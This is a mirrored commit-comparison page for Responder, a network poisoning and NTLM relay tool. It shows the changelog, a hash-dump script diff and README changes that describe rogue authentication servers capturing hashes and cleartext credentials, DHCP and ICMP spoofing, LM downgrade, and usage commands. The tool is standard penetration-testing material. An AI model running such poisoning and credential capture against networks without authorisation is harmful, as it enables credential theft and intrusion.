mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-24 16:39:04 +00:00
Compare commits
151 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
39f8cbb931 | ||
|
|
ec3349cb1e | ||
|
|
2b9d89f044 | ||
|
|
b550dbe4b0 | ||
|
|
6636317799 | ||
|
|
add6224805 | ||
|
|
700b7d6222 | ||
|
|
66ee7f8f08 | ||
|
|
08e44d72ac | ||
|
|
20cdd9c7c2 | ||
|
|
6d61f0439c | ||
|
|
e9bd8a43ef | ||
|
|
4ea3d7b765 | ||
|
|
f670fbaa7f | ||
|
|
31393c7072 | ||
|
|
2f1b81b024 | ||
|
|
aed939c1ae | ||
|
|
6f0217feed | ||
|
|
6b1f53a6f4 | ||
|
|
351b1aad9e | ||
|
|
bf1cf1c335 | ||
|
|
6a76437464 | ||
|
|
f6d1e6027a | ||
|
|
cb042d16a2 | ||
|
|
90ff1d37a7 | ||
|
|
dc33d1f858 | ||
|
|
34603aed0a | ||
|
|
aa8d81861b | ||
|
|
2c4cadbf7d | ||
|
|
3a23ccdef8 | ||
|
|
2b37d5763a | ||
|
|
de20dcf408 | ||
|
|
6063c2f77a | ||
|
|
b61a640747 | ||
|
|
4ec2631ab0 | ||
|
|
9713fe0e70 | ||
|
|
63954a539c | ||
|
|
728b100bfd | ||
|
|
a205b58091 | ||
|
|
83c817d9c2 | ||
|
|
56e5fa0d29 | ||
|
|
332697fbd9 | ||
|
|
d8a30a5ec7 | ||
|
|
0c80b76f57 | ||
|
|
a21b36605c | ||
|
|
8e12d2bcfe | ||
|
|
ff21c5452c | ||
|
|
5c83b7c45b | ||
|
|
07c963f5ea | ||
|
|
feecf8ed0b | ||
|
|
e36fafb783 | ||
|
|
5ec5412fb9 | ||
|
|
6a11fe8b6a | ||
|
|
3f5c836ba0 | ||
|
|
8953f87bbd | ||
|
|
69f431e58f | ||
|
|
edb85332ab | ||
|
|
9c303d7bd5 | ||
|
|
b61d211b10 | ||
|
|
f39079da77 | ||
|
|
660b6ca309 | ||
|
|
8d25d04f13 | ||
|
|
9d4f919b39 | ||
|
|
59daf46b93 | ||
|
|
cf0c4ee659 | ||
|
|
709df2c6e1 | ||
|
|
3aaaaf1c7f | ||
|
|
c9b5dd040e | ||
|
|
4321919c9f | ||
|
|
b8818ed0c4 | ||
|
|
07dbcf5d6d | ||
|
|
c51251db5f | ||
|
|
fe58475c63 | ||
|
|
00d9d27089 | ||
|
|
56c3832a3c | ||
|
|
0bc226b4be | ||
|
|
fad2be0a8e | ||
|
|
2765ef4e66 | ||
|
|
2cd66a9b92 | ||
|
|
15d03bc902 | ||
|
|
9b1c99ccd2 | ||
|
|
983a1c6576 | ||
|
|
03fa9a7187 | ||
|
|
a6838fdc42 | ||
|
|
8c201cf33e | ||
|
|
0c7a3ffabe | ||
|
|
d1cb26bda7 | ||
|
|
0ced7d52c0 | ||
|
|
e7eb3bcce8 | ||
|
|
fd9bcf7de1 | ||
|
|
b9f3ae35ee | ||
|
|
39a2c7c0f2 | ||
|
|
bd823f65a2 | ||
|
|
ee88da1af8 | ||
|
|
f85ad77d59 | ||
|
|
b147229938 | ||
|
|
afb54fa274 | ||
|
|
5cf69228cf | ||
|
|
0b56d6aaeb | ||
|
|
5d4510cc1d | ||
|
|
bc812da2ef | ||
|
|
3e8c9fdb0e | ||
|
|
76f6c88df3 | ||
|
|
9dc779869b | ||
|
|
505ec34324 | ||
|
|
a0bf7a9baa | ||
|
|
bb17595e3f | ||
|
|
ba885b9345 | ||
|
|
568048710f | ||
|
|
3cd5140c80 | ||
|
|
17e62bda1a | ||
|
|
6e2c77168f | ||
|
|
d425783be9 | ||
|
|
de778f6698 | ||
|
|
21afd357f8 | ||
|
|
a567d3dc31 | ||
|
|
f90b76fed2 | ||
|
|
51411e6b20 | ||
|
|
826b5af9e2 | ||
|
|
29ae6eca2e | ||
|
|
a462d1df06 | ||
|
|
110f565bbd | ||
|
|
88a2c6a53b | ||
|
|
1dfa997da8 | ||
|
|
0bf23d632b | ||
|
|
02fb3f8978 | ||
|
|
1b2a22facf | ||
|
|
7bdfe7bbdd | ||
|
|
c449b6bcb9 | ||
|
|
88ea72908c | ||
|
|
3fe574683b | ||
|
|
dcb80d992e | ||
|
|
51f8ab4368 | ||
|
|
baf80aa4f0 | ||
|
|
ae1c2be51c | ||
|
|
4231532926 | ||
|
|
350058c179 | ||
|
|
79dfe8ebd0 | ||
|
|
85315442bd | ||
|
|
35a02e389b | ||
|
|
b779d1b494 | ||
|
|
53d66e3816 | ||
|
|
72070a02eb | ||
|
|
465f730846 | ||
|
|
0b669c305d | ||
|
|
7d96fa95c4 | ||
|
|
51f176633e | ||
|
|
3d9147f36c | ||
|
|
f4c11111a7 | ||
|
|
c33da69a8b | ||
|
|
e8e3f155f2 |
2
.github/FUNDING.yml
vendored
Normal file
2
.github/FUNDING.yml
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
github: lgandx
|
||||
custom: 'https://paypal.me/PythonResponder'
|
||||
6
.gitignore
vendored
6
.gitignore
vendored
@@ -1,5 +1,11 @@
|
||||
# Python artifacts
|
||||
*.pyc
|
||||
|
||||
# Responder logs
|
||||
*.db
|
||||
*.txt
|
||||
*.log
|
||||
|
||||
# Generated certificates and keys
|
||||
certs/*.crt
|
||||
certs/*.key
|
||||
|
||||
424
CHANGELOG.md
Normal file
424
CHANGELOG.md
Normal file
@@ -0,0 +1,424 @@
|
||||
*In compliance with the [GPL-3.0](https://opensource.org/licenses/GPL-3.0) license: I declare that this version of the program contains my modifications, which can be seen through the usual "git" mechanism.*
|
||||
|
||||
|
||||
2022-08
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Added: append .local TLD to DontRespondToNames + MDNS bug fix
|
||||
>Merge pull request #199 from gblomqvist/masterFix double logging of first hash/cleartext when CaptureMultipleHashFromSameHost = On
|
||||
>Modified wpad script
|
||||
>fixed the RespondTo/DontRespondTo issue
|
||||
>Merge pull request #210 from 0xjbb/masterAdded Quiet Mode
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2022-07
|
||||
Contributor(s):
|
||||
jb
|
||||
lgandx
|
||||
>Minor bugs and display/logging fixes + RDP srv SSLwrapping fix
|
||||
>Fixed: Warnings on python 3.10
|
||||
>Added Quiet mode
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2022-05
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>removed -r reference from help msg.
|
||||
>removed -r references
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2022-04
|
||||
Contributor(s):
|
||||
Gustaf Blomqvist
|
||||
>Fix double logging of first hash or cleartext
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2022-02
|
||||
Contributor(s):
|
||||
Tom Aviv
|
||||
Andrii Nechytailov
|
||||
kitchung
|
||||
lgandx
|
||||
>Merge pull request #190 from kitchung/kitchung-patch-1DE-RPC server status not correct
|
||||
>DE-RPC server status not correct #189Line 512 should read:
|
||||
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
|
||||
|
||||
Instead of:
|
||||
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||
>MutableMapping was moved to collections.abc
|
||||
>Merge pull request #191 from Mipsters/masterMutableMapping was moved to collections.abc
|
||||
>Fixed options formating in README
|
||||
>Merge pull request #188 from Ne4istb/patch-1Fixed options formating in README
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2022-01
|
||||
Contributor(s):
|
||||
lgandx
|
||||
root
|
||||
>Updated the README and Responder help flags
|
||||
>Merge pull request #185 from ajkerley628/masterUpdated the README and Responder help flags
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2021-12
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Added IPv6 support
|
||||
>Updated the Readme file with the new options and removed some old stuff
|
||||
>Added date and time for each Responder session config log.
|
||||
>Remove analyze mode on DNS since you need to ARP to get queries
|
||||
>Removed the static certs and added automatic cert generation
|
||||
>added DHCP db & updated the report script to reflect that
|
||||
>Added DHCP DNS vs WPAD srv injection
|
||||
>Merge pull request #136 from ghost/patch-2Correct Analyze log filename
|
||||
>added support for OPT EDNS
|
||||
>Added DHCP DNS vs DHCP WPAD
|
||||
>Fixed the ON/OFF for poisoners when in Analyze mode.
|
||||
>minor display fix.
|
||||
>added the ability to provide external IP on WPAD poison via DHCP
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2021-11
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2021-10
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Added DHCP server
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2021-05
|
||||
Contributor(s):
|
||||
Pixis
|
||||
lgandx
|
||||
pixis
|
||||
>minor fix
|
||||
>Add ESS disabling information
|
||||
>Add --lm switch for ESS downgrade
|
||||
>Add ESS downgrade parameter
|
||||
>Merge pull request #163 from Hackndo/masterAdd ESS downgrade parameter
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2021-04
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>forgot to add packets.py
|
||||
>Added WinRM rogue server
|
||||
>Added dce-rpc module + enhancements + bug fix.
|
||||
>removed addiontional RR on SRV answers
|
||||
>Update README.md
|
||||
>Update README.mdAdded Synacktiv as major donor.
|
||||
>Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2021-03
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Removed donation banner
|
||||
>minor fix
|
||||
>Ported to py3
|
||||
>added a check for exec file
|
||||
>made compatible py2/py3
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2021-02
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>added donation address and minor typo
|
||||
>Added donation banner.
|
||||
>added smb filetime support
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2020-12
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Merge pull request #145 from khiemdoan/fix-syntaxFix wrong syntax
|
||||
>Merge pull request #135 from LabanSkollerDefensify/patch-1Fix typos in README
|
||||
>Added SMB2 support for RunFinger and various other checks.
|
||||
>Merge pull request #138 from ThePirateWhoSmellsOfSunflowers/fix_challengefix custom challenge in python3
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2020-11
|
||||
Contributor(s):
|
||||
Khiem Doan
|
||||
>Fix wrong syntax
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2020-10
|
||||
Contributor(s):
|
||||
ThePirateWhoSmellsOfSunflowers
|
||||
>small fix
|
||||
>fix custom challenge in python3
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2020-09
|
||||
Contributor(s):
|
||||
nickyb
|
||||
Laban Sköllermark
|
||||
lgandx
|
||||
>Merge pull request #133 from NickstaDB/fix-bind-addressUse settings.Config.Bind_To as bind address.
|
||||
>Fixed LLMNR/NBT-NS/Browser issue when binding to a specific interface
|
||||
>Fix typos in README* Missing "is" in description of the tool
|
||||
* s/an unique/a unique/ since it starts with a consonant sound
|
||||
* Move a word to its correct place
|
||||
>Correct Analyze log filenameThe default filename for Analyze logs is Analyzer-Session.log, not
|
||||
Analyze-Session.log.
|
||||
>Use settings.Config.Bind_To as bind address.
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2020-08
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>python3.8 compability fix
|
||||
>py3 bugfix
|
||||
>version update
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2020-02
|
||||
Contributor(s):
|
||||
lgandx
|
||||
Sophie Brun
|
||||
>Fix encoding issue in Python 3
|
||||
>Merge pull request #117 from sbrun/masterFix encoding issue in Python 3
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2020-01
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Added py3 and py2 compatibility + many bugfix
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2019-08
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Added RDP rogue server
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2019-05
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Merge pull request #92 from Crypt0-M3lon/masterFix socket timeout on HTTP POST requests
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2019-02
|
||||
Contributor(s):
|
||||
Crypt0-M3lon
|
||||
>Fix socket timeout on HTTP POST requestsRemaining size should be checked at the end of the loop, the current implementation hang when POST request Content-Lenght is 0.
|
||||
We want to check for Content-Length header only if we received full header.
|
||||
>Merge pull request #1 from Crypt0-M3lon/Crypt0-M3lon-patch-1Fix socket timeout on HTTP POST requests
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2019-01
|
||||
Contributor(s):
|
||||
Clément Notin
|
||||
lgandx
|
||||
>Merge pull request #89 from cnotin/patch-1Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2
|
||||
>Replace ParseSMB2NTLMv2Hash() by ParseSMBHash() to handle NTLMv1 and NTLMv2
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2018-11
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>removed debug string
|
||||
>Merge pull request #86 from mschader/patch-1Update README.md: Fix typo
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2018-10
|
||||
Contributor(s):
|
||||
Markus
|
||||
>Update README.md: Fix typoFixed just a tiny typo.
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2018-08
|
||||
Contributor(s):
|
||||
Clément Notin
|
||||
lgandx
|
||||
>Fix version number in settings.py
|
||||
>Fix multi HTTP responses
|
||||
>Merge pull request #83 from cnotin/patch-2Fix multi HTTP responses
|
||||
>Merge pull request #80 from myst404/masterBetter handling of cleartext credentials
|
||||
>Merge pull request #82 from cnotin/patch-1Fix version number in settings.py
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2018-06
|
||||
Contributor(s):
|
||||
myst404
|
||||
>Better handling of cleartext credentials
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-11
|
||||
Contributor(s):
|
||||
Lionel PRAT
|
||||
lgandx
|
||||
>Add ignore case on check body for html inject
|
||||
>Merge pull request #67 from lprat/masterAdd ignore case on check body for html inject
|
||||
>Merge pull request #51 from watersalesman/masterFixed instances of "CRTL-C" to "CTRL-C"
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-09
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Changed the complete LDAP parsing hash algo (ntlmv2 bug).
|
||||
>Fixed various bugs and improved the LDAP module.
|
||||
>Several Bugfix
|
||||
>added support for plain auth
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-08
|
||||
Contributor(s):
|
||||
OJ
|
||||
lgandx
|
||||
>Pass Challenge value to the LDAP parsing function
|
||||
>Merge pull request #61 from OJ/fix-ldap-hash-parsingPass Challenge value to the LDAP parsing function
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-07
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Merge pull request #58 from megabug/mssql-browserAdd Microsoft SQL Server Browser responder
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-06
|
||||
Contributor(s):
|
||||
Matthew Daley
|
||||
>Add Microsoft SQL Server Browser responderWhen connecting to a named instance, a SQL client (at least SQL ServerNative Client) will send a request (namely a CLNT_UCAST_INST message) tothe server's SQL Server Browser service for instance connectioninformation. If it gets no response, the connection attempt fails.By adding a SQL Server Browser responder for these requests, we ensurethat connections are successfully made to the SQL Server responder forhash capture.As per the comment, this is based on the document "[MC-SQLR]: SQL ServerResolution Protocol", currently available at<https://msdn.microsoft.com/en-us/library/cc219703.aspx>.
|
||||
>Update README.md with new SQL Browser port usage
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-04
|
||||
Contributor(s):
|
||||
Randy Ramos
|
||||
>Fixed instances of "CRTL-C" to "CTRL-C"
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-03
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Fixed bug in FindSMB2UPTime
|
||||
>Removed Paypal donation link.
|
||||
>updated readme
|
||||
>MultiRelay 2.0 Release
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-02
|
||||
Contributor(s):
|
||||
skelsec
|
||||
lgandx
|
||||
Gifts
|
||||
>Fix for RandomChallenge function. Function getrandbits can return less than 64 bits, thus decode('hex') will crash with TypeError: Odd-length string
|
||||
>minor fix
|
||||
>Merge pull request #25 from joshuaskorich/masteradded `ip` commands in addition to ifconfig and netstat
|
||||
>SimpleSSL
|
||||
>making HTTP great again
|
||||
>Merge pull request #32 from Gifts/fix_randchallengeFix for RandomChallenge function.
|
||||
>cleaning up comments
|
||||
>Added: Hashdump, Stats report
|
||||
>fixed crash: typo.
|
||||
>Merge pull request #33 from skelsec/masterFixing HTTP header issue
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2017-01
|
||||
Contributor(s):
|
||||
thejosko
|
||||
lgandx
|
||||
>Added: Random challenge for each requests (default)
|
||||
>added `ip` commands in addition to ifconfig and netstat
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2016-12
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Added paypal button
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2016-11
|
||||
Contributor(s):
|
||||
lgandx
|
||||
>Added: BTC donation address
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2016-10
|
||||
Contributor(s):
|
||||
Nikos Vassakis
|
||||
lgandx
|
||||
>Fixed wrong challenge issue
|
||||
>Fixed the bind to interface issue (https://github.com/lgandx/Responder/issues/6)
|
||||
>Changed to executable
|
||||
>fixed bug in hash parsing.
|
||||
>updated version number
|
||||
>Patch for Android 4.x terminals that are missing some linux commands
|
||||
>Fix values for win98 and win10 (requested here: https://github.com/lgandx/Responder/pull/7/commits/d9d34f04cddbd666865089d809eb5b3d46dd9cd4)
|
||||
>Updated versions
|
||||
>Minor fix
|
||||
>Merge pull request #14 from nvssks/masterPatch for Android 4.x terminals that are missing some linux commands
|
||||
>updated to current version.
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
|
||||
2016-09
|
||||
Contributor(s):
|
||||
lgaffie
|
||||
lgandx
|
||||
>bug: removed loop, while connection handled by basehttpserver
|
||||
>updated version
|
||||
>Added proxy auth server + various fixes and improvements
|
||||
>Added SMBv2 support enabled by default.
|
||||
>minor fix
|
||||
>Added support for webdav, auto credz.
|
||||
>Added current date for all HTTP headers, avoiding easy detection
|
||||
>removed debug info
|
||||
>Added option -e, specify an external IP address to redirect poisoned traffic to.
|
||||
>Config dumped independently. Responder-Session.log is now a clean file.
|
||||
>Reflected recent changes.
|
||||
>Removed the config dump in Responder-Session.log. New file gets created in logs, with host network config such as dns, routes, ifconfig and config dump
|
||||
>minor bug fix
|
||||
>Fixed colors in log files
|
||||
>Firefox blacklisted on WPAD since it doesn't honors fail-over proxies. Added SO_LINGER to send RST when close() is called.
|
||||
>Added new option in Responder.conf. Capture multiple hashes from the same client. Default is On.
|
||||
>minor fixes
|
||||
>Minor fixes
|
||||
>Removed useless HTTP headers
|
||||
>Minor fix
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
|
||||
10
DumpHash.py
10
DumpHash.py
@@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor):
|
||||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||
Output = ""
|
||||
for row in res.fetchall():
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
if "$" in row[0]:
|
||||
pass
|
||||
else:
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
return Output
|
||||
|
||||
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||
Output = ""
|
||||
for row in res.fetchall():
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
if "$" in row[0]:
|
||||
pass
|
||||
else:
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
return Output
|
||||
|
||||
cursor = DbConnect()
|
||||
|
||||
120
README.md
Normal file → Executable file
120
README.md
Normal file → Executable file
@@ -1,6 +1,6 @@
|
||||
# Responder/MultiRelay #
|
||||
|
||||
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||
|
||||
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
||||
|
||||
@@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
|
||||
|
||||
## Intro ##
|
||||
|
||||
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
|
||||
|
||||
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
|
||||
Responder is an LLMNR, NBT-NS and MDNS poisoner.
|
||||
|
||||
## Features ##
|
||||
|
||||
- Dual IPv6/IPv4 stack.
|
||||
|
||||
- Built-in SMB Auth server.
|
||||
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
|
||||
|
||||
- Built-in MSSQL Auth server.
|
||||
|
||||
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
|
||||
This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
|
||||
|
||||
- Built-in HTTP Auth server.
|
||||
|
||||
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
|
||||
This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
|
||||
|
||||
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
|
||||
|
||||
@@ -34,7 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
|
||||
|
||||
- Built-in LDAP Auth server.
|
||||
|
||||
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
||||
This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
||||
|
||||
- Built-in DCE-RPC Auth server.
|
||||
|
||||
This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
|
||||
|
||||
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
|
||||
|
||||
@@ -42,7 +46,7 @@ This modules will collect clear text credentials.
|
||||
|
||||
- Built-in DNS server.
|
||||
|
||||
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
|
||||
This server will answer type SRV and A queries. This is really handy when it's combined with ARP spoofing.
|
||||
|
||||
- Built-in WPAD Proxy Server.
|
||||
|
||||
@@ -52,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor
|
||||
|
||||
This module allows to find the PDC in stealth mode.
|
||||
|
||||
- Fingerprinting
|
||||
|
||||
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
|
||||
|
||||
- Icmp Redirect
|
||||
|
||||
python tools/Icmp-Redirect.py
|
||||
@@ -66,7 +66,7 @@ For MITM on Windows XP/2003 and earlier Domain members. This attack combined wit
|
||||
|
||||
python tools/DHCP.py
|
||||
|
||||
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
|
||||
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. To inject a DNS server, domain, route on all Windows version and any linux box, use -R
|
||||
|
||||
- Analyze mode.
|
||||
|
||||
@@ -81,7 +81,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
|
||||
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
|
||||
|
||||
- Responder will log all its activity to Responder-Session.log
|
||||
- Analyze mode will be logged to Analyze-Session.log
|
||||
- Analyze mode will be logged to Analyzer-Session.log
|
||||
- Poisoning will be logged to Poisoners-Session.log
|
||||
|
||||
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
|
||||
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
|
||||
|
||||
## Considerations ##
|
||||
|
||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
|
||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
|
||||
|
||||
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
||||
|
||||
@@ -121,45 +121,49 @@ Running the tool:
|
||||
|
||||
Typical Usage Example:
|
||||
|
||||
./Responder.py -I eth0 -rPv
|
||||
./Responder.py -I eth0 -Pv
|
||||
|
||||
Options:
|
||||
|
||||
--version show program's version number and exit.
|
||||
-h, --help show this help message and exit.
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use.
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
||||
Answering to wredir will likely break stuff on the
|
||||
network. Default: Off
|
||||
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
|
||||
Answering to domain suffixes will likely break stuff
|
||||
on the network. Default: Off
|
||||
-f, --fingerprint This option allows you to fingerprint a host that
|
||||
issued an NBT-NS or LLMNR query.
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
Off
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
